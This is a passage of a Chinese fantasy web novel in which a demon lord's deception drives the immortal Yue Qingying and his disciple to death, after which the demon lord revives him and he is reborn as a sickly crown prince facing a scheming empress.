“都怪你,你为什么对生命没有敬畏之心,你为什么要杀了我的两个徒弟,你为什么总爱杀人……你为什么是魔……为什么要救我!” 第40章 第40章 月轻盈就要死了 月轻盈心口百般情绪无法宣泄, 哽咽着大吼了出来。 他对沈砚台怒其不争,又怨恨他心狠手辣却又对他存了几分温柔。 “你可知,这剜骨刀是故意对着我来的, 赌的就是你会来救我。”月轻盈语气飘忽, 身体摇摇欲坠, 看着沈砚台眼底猩红。 “你居然就真的来救我了……” 余光中,他瞥见到黑衣人一同冲上来攻向沈砚台,他缓缓闭上了眼睛。 “沈砚台,如有来世, 希望你做个好人。” 沈砚台没了胳膊, 心口又被他捅了一刀,如此重伤, 他……今日,怕是要陨落与此。 他轻轻抽泣, 绷着心弦,等待着听到沈砚台死了那一刻。 然而, 情势不太对。 “啊……逃, 快逃, 我们中计了!” “沈砚台……你根本没有受伤……噗呵……” “你这个魔头,给我去死!” 有惨叫声有怒骂声, 有血倒流进喉管,呼哧咽气的声音, 一片混乱。 月轻盈仓惶睁开眼, 看见的就是沈砚台满脸的肃杀,用完好无损的胳膊大杀四方。 黑衣人生还的人数越来越少,地上堆积的尸体越来越多。 一轮皎月被染上了红色,血腥味浓厚的惊动了树岭的仙兽们。 似是想到了那日被屠杀的同伴们, 仙兽们仰首长啼,哭嚎声四起,惊动长月。 月轻盈满眼泪水,突然哈哈笑了起来,见着这如无间地狱的一面,他竟然丝毫都不吃惊。 沈砚台怎么可能这么简单就会死了,那就不像他了。 沈砚台疯狂杀戮,月轻盈在发疯大笑。 还在拼死挣扎的黑衣人们见着这两厢极致对比满眼惊恐纷扰着大喊他们都疯了。 “笑什么?” 沈砚台手里提着被捏爆人头的黑衣人,手一松,将他摔落在地。 月光下,他一双红瞳,比月亮还幽深诡异。 “沈砚台,你到底怎么才会死。”月轻盈满心挫败,甚至有些怀疑起了人生。 “我不会死,若我死了,那肯定是我厌烦了这世间,自愿去死。” “是吗?”月轻盈眸光一定,再度握紧了匕首,他能捅沈砚台一次,就能捅第二次! “那你能为我自愿去死吗?” 他如飞蛾扑火,提着匕首冲向了沈砚台。 沈砚台利落伸出脚,将碍事的黑衣人踢爆,转头应付冲到他面门前的月轻盈。 看他眼里仿若要跟他同归于尽的决绝,沈砚台挑眉,丝毫不惧,甚至冲他张开手,敞开了怀抱。 他看着月轻盈一身白衣胜雪,看他充满悲伤的眉眼,看他唇边的血迹,轻又缓的喊了一声盈盈。 恶劣般,如同恶魔低语那般,唇角带着张扬得逞的笑,又喊出了一声。 “盈盈。” 刀尖劈开了空气,迅速接近沈砚台,在靠近他心门的位置时,突然顿住。 “你说什么?”月轻盈迷茫,喉咙像是被堵住了一样,令他上不去下不来那般哽住的难受。 “石墨……?” 只有石墨唤他盈盈。 “盈盈啊……我换个身份你就不认识我了吗?不该啊,你总该对这声盈盈有印象啊。” 月轻盈张唇,发不了声。 沈砚台盯着月轻盈失神,得知真相后承受不住节节败退的模样,笑得张狂焕发。 “怎么样?被骗的感觉好不好受?” 月轻盈眼睫迅速眨动,泪如泉涌。 沈砚台故作叹气道,“我也很难受,每日看着你被我骗,对我有好感,还要嫁我,我都忍着不让自己笑出声。” 月轻盈的眼泪啪嗒啪嗒滴落在地。 沈砚台见他不说话,对他这个反应很是不满,他不是该癫狂,大吼着控诉他卑劣的手段,怎么反应这么平静。 月轻盈内心不平静,甚至是波涛汹涌,他心疼的像是要炸碎了一样。 石墨就是沈砚台。 沈砚台一直在骗他。 石墨一直在骗他。 至始至终,他都是个蠢的。 月轻盈泪眼模糊,看向沈砚台,话有千万句要说,临到了了,他张开嘴,却是止不住的呜咽。 “你骗我……”他心如刀绞,话连不成一句。 他深深闭眼,再开口时,唇边的血争先恐后涌出,他被逼得内伤吐血。 他的身躯抖得不成样子。 像是过了一个世纪那么长,他想好了自己的退路。 他叹出一个悠长的吐息,“当我知道你是石墨,你没有死,我万分庆幸开怀,石墨没有为了我死,我承受的罪孽消散了。” 他一直都活在他害死了石墨的阴影中。 月轻盈看着沈砚台,弯唇释然笑了一下,眸光里的泪意却在闪烁:“谢谢你告诉我真相。” 沈砚台不知道他做了什么样的心里建设,可他却无端心慌。 “你难道不想冲上来杀我吗?” 沈砚台垂眸,看着已经抵到了他心口的匕首刀尖,“你看,你只要用力,就能报仇了。” 月轻盈看着他,收了持刀的手,却是摇摇头,内伤扩散,唇边的血大口大口吐出,声音温柔的像是棉花糖。 “沈砚台,我求你,你能不能变成石墨的样子啊?我很想他,我想告诉他,别云间的撼天树长高了, 雪月兔有伴了,种的花开了,湖泊里的鱼儿有多贪吃,现如今胖的跟猪鱼一样……” 外伤好治,内伤难医,月轻盈的五脏六腑应该在他得知真相那一刻,就已经全都因气血倒流筋脉尽断了。 看着月轻盈灰白的脸色,沈砚台心里的恐慌在不断加深,他几乎在他开口的瞬间,就变成了石墨的样子。 “真好……又见到你了……” 月轻盈开始有些站立不住了,他眼前不断有黑影闪现,哇的又是一口血吐出。 “能见到你真是太好了。”他倒在石墨的怀里,极力汲取他身上的温暖。 人已经开始有些恍惚了,失神的呢喃:“谢谢你,让我在总是经历失去的岁月长河里,陪我度过一段快乐的时光……” “额……”月轻盈疼得呼出声。 沈砚台觉得身子一沉,低头看去,却是见月轻盈反手将匕首插在了自己的心口。 他死志不渝。 “你干什么!” 沈砚台大声喝止,瞳孔猛缩,下意识地伸手要去拔出匕首。 可是转念想到,月轻盈死了,这就是他想要的,他的动作停住。 这时候,匕首开始发挥它的效用,刀柄处的红宝石闪烁了一下,接着便开始吸取月轻盈的仙力,红宝石的光越发璀璨。 月轻盈体内庞大的仙气冲击的他浮在了半空。 沈砚台看着逐渐失去生命力的月轻盈,整个人如深沉的大海。 这时候,侥幸逃过一劫的黑衣人们,注视着场内的变化,突然面目狰狞了起来。 “月轻盈就要死了!” “今日没杀了沈砚台,那我们就按照计划,强行取走月轻盈体内的天骨!” “快上,月轻盈若是死了天骨就消散了!” “趁着他还没死,活剖月轻盈,取天骨!”【你现在阅读的是 】 40-50 第41章 第 41 章 月轻盈竟是连魂魄都不想…… 黑衣人情绪激动, 但也有脑子清醒的,十分警惕一旁的沈砚台。 只是天骨的诱惑太大了,不少黑衣人都禁不住迈步上前。 看着被匕首吞噬仙力, 生命力正在逐渐衰败的月轻盈, 沈砚台站在原地, 垂在腿边的手指弹动了一下。 黑衣人一步步试探,见沈砚台不做动作,掏出捆仙锁缠住月轻盈的身体,将他扯过去。 时间仿若过的漫长。 看着眼眸紧闭, 唇瓣失了血色, 毫无所觉即将被活剖取天骨,等待着他的是死亡的月轻盈, 沈砚台往前探出去一步,又被理智给深深遏止住了动作。 月轻盈总归会死, 死前会遭遇什么他不该管。 他双目赤红,看着黑衣人手举着刀碰上月轻盈的身体, 扒开他的衣服, 狠狠刺入他的体内, 硬生生拽住半截天骨。 月轻盈承受不住痛苦,猛地睁开眼, 大口大口吐血,痛不欲生的样子, 沈砚台见状呼吸变乱, 手猛地紧握成拳。 月轻盈浑身都是血。 他缓缓扭头,看向取他体内天骨的这些人狰狞的嘴脸,只苦笑了一声,便麻木的放任。 他又被骗了。 这些人肯帮他杀沈砚台, 原来是为了天骨。 身体的剧痛,抵不住心脏的痛,他想,死了是不是就是解脱了。 还有一小截天骨在月轻盈体内,黑衣人们办法用尽都取不出,正当他们打算削下月轻盈的肉强取时,一道劲风冲了过来。 “你们这些卑劣之徒,全给我死!” 一道怒喝的声音响起,黑衣人被拍飞,凌乱之际,就见小河从阴影中走了出来。 他看着变成血人,只剩下一口气的月轻盈,眼圈红了。 “师尊……你怎么变成这个样子了……” 小河的抽泣声在耳边,月轻盈虚弱地睁开眼看向他,有些恍惚。 “是小河……”他很勉强的弯唇想要对他笑一笑,可是一张口就是大口大口的血。 “师尊……你怎么……就变成了这个样子……”小河泣不成声,眼里都是心疼。 师尊的身体在逐渐变凉,身上的仙力消散,一根天骨露出大半。 寿命将倾。 原是仙临山第一仙尊的师尊,怎么就被人折辱至此。 师尊……不过也才是个大不了他们多少岁的少年郎。 “小河……别哭……”月轻盈见小河哭,十分的紧张和心疼。 “小河不哭……师尊现在的境遇都……是师尊自找的,是师尊做了错事……师尊这是在惩罚自己……” 小河哭的差点站不住身体。 “小河……师尊走了就再也没人能护住你了,天骨……给你……你躲起来……” 月轻盈身上陡然爆发出一阵刺眼的金光。 黑衣人怎么都拔不出来的天骨,在这一刻顺从的剥落了下来。 他最不放心的就是小河,见到他,他了却心愿。 月轻盈用最后一点仙气,将天骨送到小河面前,接着他的身体从四肢开始消弭。 小河怔然。 黑衣人们目眦欲裂。 沈砚台怔然盯着他化为了光点的身体。 他怒! 月轻盈好狠的心,从他说出真相,到他弥留之际,他就未曾再看过他一眼! 月轻盈终究是被他伤的体无完肤。 这也是他要的结果。 可是为什么他内心却是极度的不甘心! 他不是该带着对他的怨恨死去吗? 月轻盈真的有这么大度吗?他对他做过的恶,欺骗,欺辱,在他的心里,就想用自己的死换一笔勾销吗? 就是有他这样的人,一再放任,才会使的世间邪魔丛生。 沈砚台心里恨极,怨极,月轻盈甚至都没开口骂过他…… 呵,虚伪! 沈砚台阴晴不定,眼里压着翻涌的风暴,他看向小河,狰狞一笑。 “月轻盈就这么死了,你不觉得无趣了些吗?” 月轻盈无视了他,看着小河哭泣的脸庞,缓慢伸出手只想替他擦一擦。 这一举措,刺激到了沈砚台,他下定了决心,伸出手成爪状,将小河给抓了过去。 “师尊……”小河看着月轻盈,拼死想去往他身边。 月轻盈心提到了嗓子眼,终于看向沈砚台,可他要死了,什么都做不了,只能弱弱地乞求,“不要伤害他……” 沈砚台兴奋异常! 月轻盈肯看他了,他一把掐住小河的喉咙,“月轻盈这是你最后一个徒弟了,若是我杀了他,你是不是就会开口骂我了?” 月轻盈张张嘴,却发现自己说不了话了,他眼睛低垂,原来是他的脖子被消融掉了。 沈砚台也发现了这一点,他立刻劈开筋脉,不顾自己是否会受伤,往他体内输送仙力。 被他抓在手里的小河,忽然哈哈郎声笑了起来,在沈砚台看向他之际,启唇说道。 “你真该拿面镜子看看你此刻的表情。” “你是不是想我师尊死又不甘心?” “沈砚台你难道没发觉吗,你这么执着的想让师尊的视线落在你身上,是不是因为你不知不觉中已经爱上他了?” 小河每说一句话,沈砚台的脸色就越发的难看,他手下用力。 小河的脸色立刻涨红。 沈砚台脸色阴沉,惊疑不定,爱?他会爱人? 简直笑话! 师尊再不救真的会死,小河看着沈砚台,眼里十分急切,但他怕被发觉,隐藏的很好。 他说了十分震撼的话:“沈砚台我知道你有凝结魂珠的办法。” 沈砚台警惕起来,“你想干什么?” 小河眼里带上了嘲弄:“我跟你打个赌,赌你是不是爱上了师尊,我在你和师尊的面前自戕,你救活我的师尊,之后你便想方设法去验证, 验证你是不是会爱人,是不是爱上了师尊,如果我赢了,你便救活师尊,如果我输了,我和师尊都会死,你也省去了不少麻烦不是吗?” “用你自己的生命做赌注?”沈砚台看着小河,不信他有这么大的决心。 “说到做到。”小河知道事情成了,放松了下来,他眼里带上了乞求。 “不过在我死前,我能拜托你一件事吗?” “我还没说答应你。” 小河露出一个快哭的表情说:“答不答应,你都不会吃亏。” 沈砚台没说话,眉眼深压。 小河压低声音说:“那些黑衣人都是正道修士,他们觊觎师尊的天骨,为了师尊,这件事只有你能做。” 他见沈砚台脸色不悦,却没有拒绝,粲然一笑,“我死后,麻烦你抽出我的灵骨,将它变成天骨用来骗过那些正道修士,真正的天骨随你处置, 但我想你记得,天骨可以救我师尊一命,在你验证是不是爱上了师尊时,如果他有危险,希望你能用天骨救救他。” 沈砚台看着小河滔滔不绝,细心交代叮嘱,总算明白,他做的这个局的目的,是为了救月轻盈。 他看向月轻盈,不禁深思,月轻盈身上到底有什么奇特的特质,能让他身边的人接二连三连命都不要了只想着他活。 小河的话他不可谓不心动。 只是验证他是不是爱上了月轻盈而已,对他也没有损失。 岁月悠长…… 若是这些人死了,他只怕很无趣,且他也想弄明白,自己对月轻盈到底有没有别的感情。 就在两人商讨间隙,黑衣人们按耐不住,看着浮在空中无人管顾的天骨,他们便想偷走。 这时候,一黑衣人探脚摸了过来,就在下一秒,他就变成了一团血雾! 沈砚台警告的看向这些人。 “沈魔尊,我把师尊交给你。” 就在这时候,小河看好了时机,起手拍向了自己的腹部丹田。 他修为尽废,筋脉尽断,大口大口吐着血,但他一点都不害怕。 他先是对沈砚台道了谢,后又转头最后看了一眼对他有养育,教导之恩,他最敬爱的师尊,面带笑容死去了。 真好,他可以去找小川,去找小宵了。 众人都被这一变故,惊的措手不及。 月轻盈看着小河垂软下去的尸体,瞪大了眼,惶惶不敢信,顷刻间,他眉眼痛苦一拧,开始抽噎痉挛,撕心裂肺的痛苦让他留下了血泪。 他看着沈砚台,满目心碎,为什么,为什么他要连他最后一个徒弟都不放过! 他为什么这么残忍,为什么不能给他的徒弟们一条活路! 沈砚台也没想到小河这么决绝。 他还有些愣怔,他以往杀人,别人在死前都是诅咒他,骂他,这是第一次有人死了还给他道谢。 很新鲜的体验。 既然答应了人誓约,就要做事。 他将小河的尸体摔落在地,运行魔力,修为爆涨,将在场所有黑衣人都残杀殆尽,驻足等待了一会。 噗噗噗。 食灵花的花蕊中含着魂珠出现。 沈砚台余下小河的魂珠,将其他魂珠全都吞服,不消一刻,他的胳膊恢复如常,修为也都回来了。 他踱步走到沉浸在悲伤中的月轻盈面前,看着他身体的情况,在脑内思虑如何救他。 而此时的月轻盈早已是最后一点生意都没有了。 他召来了命雷。 一招击下去,当场魂飞魄散。 天边飞来了呼啸着带着死亡气息的惊雷,沈砚台脸色沉如水。 月轻盈想死就算了,竟是连魂魄都不想留! 他茫然,想让他死了,可想起自己差点亲眼见证他死时心中那股惶恐不安,又有些不知道如何抉择。 他亦不是正人君子,小河亦死,誓约算不算数,都是他说了算。 他看着逼近命雷,承受不住悲痛昏过去的月轻盈,一阵心烦意乱,大手一挥,将月轻盈和命雷收了起来。 或许,他只是和月轻盈接触的久了,有些不舍。 等时间一长,他习惯了没有月轻盈在身边,就能很快做下抉择。 介时,是让月轻盈活,完成和小河的誓约,还是让他死,和小河的契约作废,他都能进退有度。 第42章 第42章 救他干什么 小狐狸打着瞌睡, 一直守在门外。 听到玉石相撞的声音,她揉着眼睛站起来,魔尊和尊后回来了。 静谧的月光下, 只有一道修长的身影, 她放下手, 探头探脑向魔尊的身后张望。 “魔尊,尊后……呢……”在看到沈砚台脸上的干涸的血迹时,小狐狸的声音顿住。 背着月光,沈砚台站在小狐狸面前, 一双眼眸幽暗, “你很在乎他?” 小狐狸有些失神道:“魔尊……您是把尊后杀了吗?” 出去时是两人一起出去,回来时只有一人, 不免让人胡思乱想。 “若我说的确把是他杀了,你想怎么样, 要对我动手为他报仇吗?” 小狐狸看着魔尊身上压制不下的魔力,吓的狐狸耳朵成了飞机耳, 她瑟缩着身子, “不敢。” “那你为何这么关心他?和他相处的这些时日对他有了感情?” 小狐狸跪下来, 夹着尾巴,满眼的惊恐和怅然。 “是……” 小狐狸是一只笨狐狸, 修为又不好,很多魔族同类喜欢欺负她, 她很幸运, 靠着听话不会撒谎才在魔尊身边当着侍从。 她也没想到有一天,她会伺候据说是第一仙尊的人。 这个人很奇怪,安静,不争不抢, 无欲无求,可是他每死去一个徒弟就会哭的肝肠寸断。 他话不多,爱穿白衣,一个人可以枯坐一整天。 小狐狸喜欢好看的东西,这个仙尊就很好看,她可以盯着他看上许久都不会觉得烦。 她没有什么朋友,但是和月轻盈相处的这些时日,她过的很开心。 他不打骂人,知道她是来监视他的,对她亦很客气,被魔尊弄伤,狠了疼了,也不会对她撒火。 她不会为他报仇,去和魔尊为敌。 但自己为他感到难过,她想,她是喜欢这个仙尊的。 沈砚台看着,没有察觉到自己早已满脸是泪的小狐狸,一阵沉默后问。 “你会为了他死吗?” 小狐狸耳朵耷拉着,摇摇头,“不会,我只是觉得,往后某年某月某日的一天,突然见到一个穿白衣的男子,我会在顷刻间想起他吧。” 沈砚台从小狐狸身上抽回视线,带着一身寒霜离开了。 哼。 月轻盈真会笼络人心。 他差点都被小狐狸的话动摇了,竟然想立刻就救他。 他不信这个邪,他要再思量思量。 又是一个下雨天。 被分发看守月轻盈的小狐狸,自那日和沈砚台见面后,就一直没有接受到新的工作通知。 月华宫前,她浑身炸毛的看着又来闹事的宋先灵,忍无可忍道:“都跟你说了,尊后不在了!” 宋先灵不信,他要气死了! 月轻盈不在月华宫后,他就再也没有蹲到过魔尊。 可笑,小狐狸还想骗他,月轻盈这个贱人,肯定又用了什么见不得人的手段将魔尊带走了! “今日我见不到月轻盈我就不走了!” 一连三日,宋先灵什么都不干,就守在月华宫。 小狐狸一天到晚被他阴恻恻的眼神看的毛毛的,做梦都梦到他要杀了他,惶惶不安下她去求了沈砚台。 “魔尊,我跟宋先生解释过尊后不在了,可他还是每日都来月华宫闹,我说什么他都不信,求魔尊想想办法。” “宋先灵?” 沈砚台一怔。 宋先灵把月轻盈看成是眼中钉的事,他知道,他本以为他在得知月轻盈没了后会得意大笑。 没想到,竟然是每日蹲守在月华宫门前吗? 他内心发狠。 月轻盈好本事,竟然连他的死对头都这么关注他。 他心下烦躁,让小狐狸自己去解决后,变想着去散散心。 一出门看见的就是丑丑的魔族人。 沈砚台无言。 再换个地方,遇见的是丑丑的魔族士兵。 沈砚台深吸一口气。 再再换个地方,沈砚台愣住了。 “怎么……来到了这里……” 看着早已不是先前那般死寂空旷,现如今是鸟语花香,兔兔满地跑,鱼儿水中游,处处充满生机的别云间,他久久不能回神。 脑海中,他想起了月轻盈虚弱的靠在他怀里,满眼都是倾诉,跟石墨说树长大了,花开了,鱼儿胖了的事。 他顿觉生气。 想他沈砚台一生都在骗人,辱人,杀人,为了寻欢作乐而活,有一天居然也会被一个人做出来的这点小事,感到自己受到了珍视。 “反正救活他,他也要嚷嚷着杀了我,救他干什么!” 沈砚台伸出手,就想将别云间里的撼天树,花草,兔子,鱼都给弄死。 一柱香过去了,他却怎么也下不去手。 “哼,这哪里是我的别云间,是他月轻盈的装扮小屋还差不多。” 这个别云间,他不要了! 他扭头走人。 像是幽魂一样瞎晃,他来到了一座山头,遥遥看去,见到了不远处的树岭。 “以前不觉得,现在怎么发觉哪哪都有你的影子?月轻盈你不是下凡,你是会下蛊。” 沈砚台额角隐隐作疼,想到之前对月轻盈施加的射刑,他突然良心发现,觉得自己是亏欠他的。 他来到树岭,打算数仙兽,数到整数就救活他,单数就不救。 他随随便便杀一只仙兽,稳赢。 然而,他刚靠近树岭一寸,就闻到了浓厚无比的血腥味。 他蹙眉走近,立刻被眼前鲜血流如小溪,仙兽们堆如山头的尸体重创。 他身上魔气翻涌如波涛,杀意连绵! 他逡巡四周,才发现自己下的结界消失了。 有人先是破了他的结界,后残忍的杀害了树岭所有的仙兽! 是谁! 沈砚台龇目欲裂,如一头没有头绪的暴躁的困兽。 看着曾经保护过月轻盈的仙兽,许久后,沈砚台阴晴不定,像是觉醒了良知,最后重重叹息。 “不救不行了,欠他的越来越多了。” 说这话时,他自己都没有发现他的眼睛有着精光。 第43章 第43章 一胎三宝 沈砚台回到了别云间。 将月轻盈放在石桌上。 沈砚台十分忌惮悬在他头顶的命雷, 稍有不慎,月轻盈就会魂飞魄散。 一阵沉默打量,沈砚台的气息变重。 月轻盈, 他伤的太重了。 仙气被掏空, 心脏被匕首绞碎, 身体被消融掉大半。 沈砚台看着这样破破烂烂的月轻盈,微微出神,他居然将他重伤如此。 可他一声不吭,硬是没喊一句疼, 只在小河死的时候, 对他开口乞求。 他却还是让他不如意。 沈砚台心口微涩,他竟承受了这么多, 他沉下心,开始施救。 他记得月轻盈本体是莲花, 可以自愈,便破开自己的筋脉输送仙气, 催发莲花的能力。 后又缓缓取出他心口的匕首, 修复他的心脏。 最难的便是他的命雷。 沈砚台将命雷恢复成原来的样子, 将月轻盈抱到一边准备好的床榻上。 他变成蛟龙原身,立于命雷之下, 替他挡雷。 然而这一举措,实质上就是作弊, 并没有逃过天道的探查。 这命雷最后还是落在了月轻盈身上。 青紫色的雷电, 带着摧枯拉朽的强悍气势,一击劈中了月轻盈的眉心。 月轻盈的眉心立刻浮现出一颗魂珠,魂珠已然有龟裂的痕迹。 随着裂开的痕迹扩大,仿若下一秒就会炸开。 沈砚台见状, 立刻伸手去护,命雷趁机再劈下一击,径直穿透他的手,再度击中魂珠。 嘎嘣一声,魂珠破碎,四射的光芒从裂缝中映出,沈砚台触目惊心。 他眼睛深红,出掌攻击命雷,命雷却吸收掉他的魔力,似在嘲笑他的举动毫无意义。 “命雷,哼,区区命雷,何足畏惧,我要的东西,天道都夺不去!” 沈砚台被逼狠了,微一眯眼,竟然是拿出了小川,小河,小宵三人的魂珠,接连输送进了月轻盈的腹部! “命雷,你从不劈身有重命之人,月轻盈体内三条人命,加上他自己共计四条,如此,你还下得去手吗?” 命雷哪里想得到沈砚台出如此阴招。 气的一阵嗞啦放电,狠狠劈了沈砚台几十下,但因限制,就如道道春风抚在沈砚台的身上。 看着逐渐消失在世间的命雷,沈砚台还不敢掉以轻心,他睁着一双红眸,伸出一手,重创自己的灵台,取出自己的魂珠。 将魂珠送到月轻盈魂珠的身侧,用自己魂珠周身的魂力温养他的魂珠。 沈砚台体内魔气耗尽,就想方设法吞服灵丹,灵台的魂珠不能一直空着,他就将月轻盈的魂珠放到自己的灵台上。 时间一长,他自己的魂珠变得黯淡无光,月轻盈的魂珠愈合后表面圆润饱满有光泽。 “噗……” 多日的操劳和付出,沈砚台筋疲力尽,伤到根本,一时不察吐了口血。 再几日后,沈砚台面黄肌瘦,眼窝凹陷,见月轻盈的魂珠开始活跃到处乱跳,他才收回自己的魂珠,赶紧吸收魔气恢复自身。 而就在他吸收个半饱的时候,月轻盈的魂珠竟是如水滴垂入水面,一阵震荡后,消失不见了! 沈砚台气的头昏脑胀! “你居然不想见我!” 他费了那么大苦心,原以为在他醒来,就算不会得到优待,得到一个白眼也是好的,谁料想,他并不愿意见他。 月轻盈,你逃不掉的! 他施法将月轻盈的身体保住,在他周围设下结界,分了一个分.身,劈开筋脉,每日用仙气温养他的身体和他肚子里的孩子,接着立刻赶紧顺着他的魂珠气息的追了过去! 这一举措,无疑增加了他自身的负担。 可他现在心神都在月轻盈身上,丝毫不知道他的以后将会发生翻天覆地的变化。 沈砚台发誓,他找到月轻盈时,一定要将他的魂珠再挖出来,将他的心脏捏碎…… 好让他尝尝,他救他时的苦,救他时他也疼。 好让他尝尝忤逆他,没有好下场! 对了,他肚子的孩子是他的三个徒弟的事,他还不知道。 等他之后找个机会,便将这个真相告诉他,好让他知道,他永远都逃不出他的掌控! 誓不罢休! 第44章 第44章 合衣爬上床榻 虽有心头血的牵引, 但沈砚台还是颇费了些时日才找到月轻盈。 浮世万千,他居然藏在五行中的一行,其中的某一个边陲小国。 凉国。 夜色已深。 京内太子府。 沈砚台嗅着淡淡的熟悉的莲花香, 落坐在一根伸展出来的长枝干上。 树影下, 一扇未闭合的窗户敞开, 内里的一切完全袒露在眼皮子底下。 “还是那么爱穿白衣。” 见到月轻盈完好无损的样子,多日受累的沈砚台看着他的睡颜,一顿好气又莫名安心,身体一阵放松, 靠在树干上眼睛阖上, 呼吸逐渐变沉。 没多久他便醒了。 他是魔,死敌众多, 又心性多疑,且他魔尊的高贵身份, 无论如何他都不可能在一颗树上安身。 他踩着清风缓缓靠近,立在床边, 垂眸打量睡着的修长人影。 魂珠落在人间的月轻盈, 幻化出来的这副躯体, 和他是仙临山第一仙尊时的样貌一样。 出尘,清冷, 眉间似有山海,长相秾丽, 让人过目不忘, 再望便是住在了心底。 “为了救你,我颇费心神,你睡得这么香,我看着倒是碍眼。” 冷哼了一声, 沈砚台施法让月轻盈沉眠,然后……合衣爬上了床榻。 气不过的扯过盖在月轻盈身上的被子,将自己裹了个严实。 魔尊用被子也得用三分之二才算体面。 看着被子一角堪堪落在月轻盈的腹部,如此,他才满意的睡去,脸上的疲惫也消散了不少。 月轻盈多少是有点养人。 天一蒙蒙亮,沈砚台就醒了,身旁月轻盈的呼吸变浅,再过不久他也要醒了。 盯着他阖在一起,像两排小扇子的睫毛,沈砚台突发好心。 “你伤刚好就不吓你了。” “既然你不愿意见我,我便偏要你想起来我。” 说罢,他起身,迅速离开月轻盈的身边。 月轻盈只觉得这一夜睡得极其安稳,醒来后,骨头都是酥的,浑身一股睡饱后的满足感。 近侍太监王公公摸准了他的作息,推开门,带着身后两排太监宫女过来伺候。 “太子殿下,昨夜安歇的可还好?” “尚可。”月轻盈声音轻轻柔柔的。 王公公见他脸色红润,唇红齿白,不似先前的惨白,脸上也露出点笑意。 “既然太子殿下起了,奴才们便伺候您穿衣。” 月轻盈移步去了窗台,坐在镜子前。 小宫女上前来给他梳头,看着敞开的窗户,脸色一白,呀的一声惊呼,慌张跪地。 “奴才该死,昨个天热,想着开窗透气,竟是忘了关了,让这窗户敞了一夜,太子殿下莫要着了凉。” 王公公一听就要发怒,被月轻盈给拦下来了,他知道王公公关心则乱,有时候连他的劝告也不听。 刚好,余光里骤然撇到一朵绽放的花,很新鲜,上面还带有露水。 他便借题发挥,“无碍,正是因你昨夜未关窗,看,今早孤就收到了一朵花。” 他捻起花茎,打量了几眼,花很不寻常,多重花瓣,花瓣尖角处还垂着一株嫩嫩的花蕊。 “很好看,就是不知这是什么花。” 他凑近鼻尖轻嗅,没有香味,却又让他有一股熟悉之感。 “拿去放好。” 王公公死死瞪着地上已然瑟瑟发抖的小宫女,但见太子总是顾左右而言他,不接他的茬,只能放过。 “太子吩咐还愣着干什么!” 小宫女战战兢兢找瓶子接水养花。 月轻盈为了让王公公消气,复又坐在镜子前,柔软一笑,“王公公替孤梳头吧。” “诺。”王公公叠声应着。 沈砚台坐在树干上瞧,讥笑:“真是好命,有第一仙尊命,即使下了人间也是人中龙凤。” 他的话刚落音,窗前的那一抹白色人影,忽然急促剧烈咳嗽了起来。 沈砚台身子前倾,目光死死盯着月轻盈,有着连自己都没发觉的紧张。 王公公立刻脸色紧张,姿态熟稔的接过小太监递过来的药碗。 嘴里一直心疼的念叨:“想着您起早到现在都没发作,还以为您身子转好了,原来是在这等着,太子,快把药喝了。” “娘胎带来的病,哪里有那么容易好?” “太子殿下受苦了。”王公公见他喝完,立刻拿了一块甜枣给他吃。 “不苦,甜的。”月轻盈弯唇一笑,乖顺又惹人心疼,垂眸专心吮着糖味。 刚才咳的惊天动地的人仿若不是他。 “不该体弱多病啊,该是治好了他的,他这副病怏怏的姿态是在暗讽本尊实力欠佳吗!”沈砚台蹙眉,一身阴郁气息,唇角崩成了一条直线。 王公公伺候月轻盈洗漱后,眉头拧着,有些忧心忡忡。 “太子殿下今日可要去拜见皇后娘娘?” “皇后娘娘,算是孤的继母,当拜。” 王公公说:“刚才来您这儿的路上,奴才便让人去打探了,皇上……这会也在皇后娘娘那儿。” 月轻盈眼神微动,思虑半晌,叹气:“皇后娘娘到底是想要了孤这条命。” “可不是……举国上下多少能人异士都能去做那招安的事……偏偏提了殿下您……” 王公公恨得就差跺脚:“皇上他怎么就受了皇后娘娘的……” “王公公,人多口杂,慎言。”月轻盈打断他的话,视线在周围扫视了一圈。 见着宫女太监们都死死低着头,这才将视线落在脸色僵硬的王公公身上。 “无碍,兵来将挡,水来土掩,正好,孤也想看看,孤能否将名震一带的总瓢把子给招安了。” “殿下,您该不会是想以身犯险吧?”王公公立刻白着脸就要阻拦。 月轻盈摇头,轻笑道:“别担心,孤只是做好了最坏的打算。” 月轻盈在宫女太监的伺候下吃完早膳,便去给皇后娘娘请安。 皇后娘娘,二十来岁,风华绝代一小姑娘,年纪不大,可她的本事倒是数不尽。 勾的年近五十的皇帝对她唯命是从,也是她吹的枕头风,让皇上同意太子前去招安。 到了璟泰殿。 月轻盈甫一走进,就见着娇艳动人的皇后更和皇帝嬉闹。 他全当看不见,低身一拜,“皇后娘娘,父皇,儿子给两位请安。” 皇后娘娘美丽的脸红扑扑的,见到他来,眼睛里还有未收回的妩媚。 “盈儿来了?” 月轻盈眼观鼻,鼻关心,对她亲昵的言辞只微微一笑。 “盈儿来了?”皇帝端起威严的架子,想到什么面色又和蔼了不少。 “来了也好,盈儿啊,朕刚好有事要嘱托你去办。” 第45章 第45章 压寨夫人 月轻盈佯装不知, 摆出倾听的姿态。 皇帝满意他的态度,道:“吾儿现年已二十岁,也是到了为朕分忧解难的时候了, 南江一带的悍匪, 想必你也有听说, 他们作风猖獗,对百姓们是烧杀抢掠,近日数次来犯,多次挑衅皇家威严, 朕为此头疼, 整夜睡不好,他们人数多达一个军, 共计千人,杀了甚好, 可观他们个个骁勇善战又是不可多得的人才,便起了招揽之心, 想来无名无姓的大臣前去招安, 定是无功而返, 朕思来想去,还是觉得盈儿去最合适, 一来,可以锻炼你的为人处世, 二来, 对你日后登上皇位,成功招安一事,是个美名,亦可记载史册…… 盈儿, 以为如何?” 月轻盈眼睫轻眨,抬起脸,黑眸直视皇帝,忽然他发出惊天动地的咳嗽声。 他脸色骤然发白,额头浸出细密的汗珠,手死死揪住心口,用力过猛,手背青筋弓起一个脆弱的弧度。 整个人更是有些站不稳,幸好手边有个椅子可以支撑,否则就要跌落在地。 他缓了好久,都没有等来皇帝改变主意,他的呼吸逐渐平缓,懂了皇帝的决心。 “父皇皆已为儿臣打算周全,此次招安一事,儿臣定全力以赴。” 他起身站立,如挺拔的青竹。 只是先前的不适,让他看起来有些狼狈,黑发沾染在额际,苍白的脸染上了红晕,唇瓣更是红艳的滴血,眼底还有凝结的水雾。 柔柔弱弱不堪一击,却有君子傲骨,看的一旁美艳的皇后揪紧了手中的帕子。 她不能留下太子盈的决定是对的,这样玉树兰芝的人不能被那人发现,他也不能挡了自己孩子的路。 她掩埋下眼里的阴毒,抬手搭在自己的小腹。 这里有了她和皇帝的孩子,要想皇帝立自己的儿子为太子,月轻盈必须死! 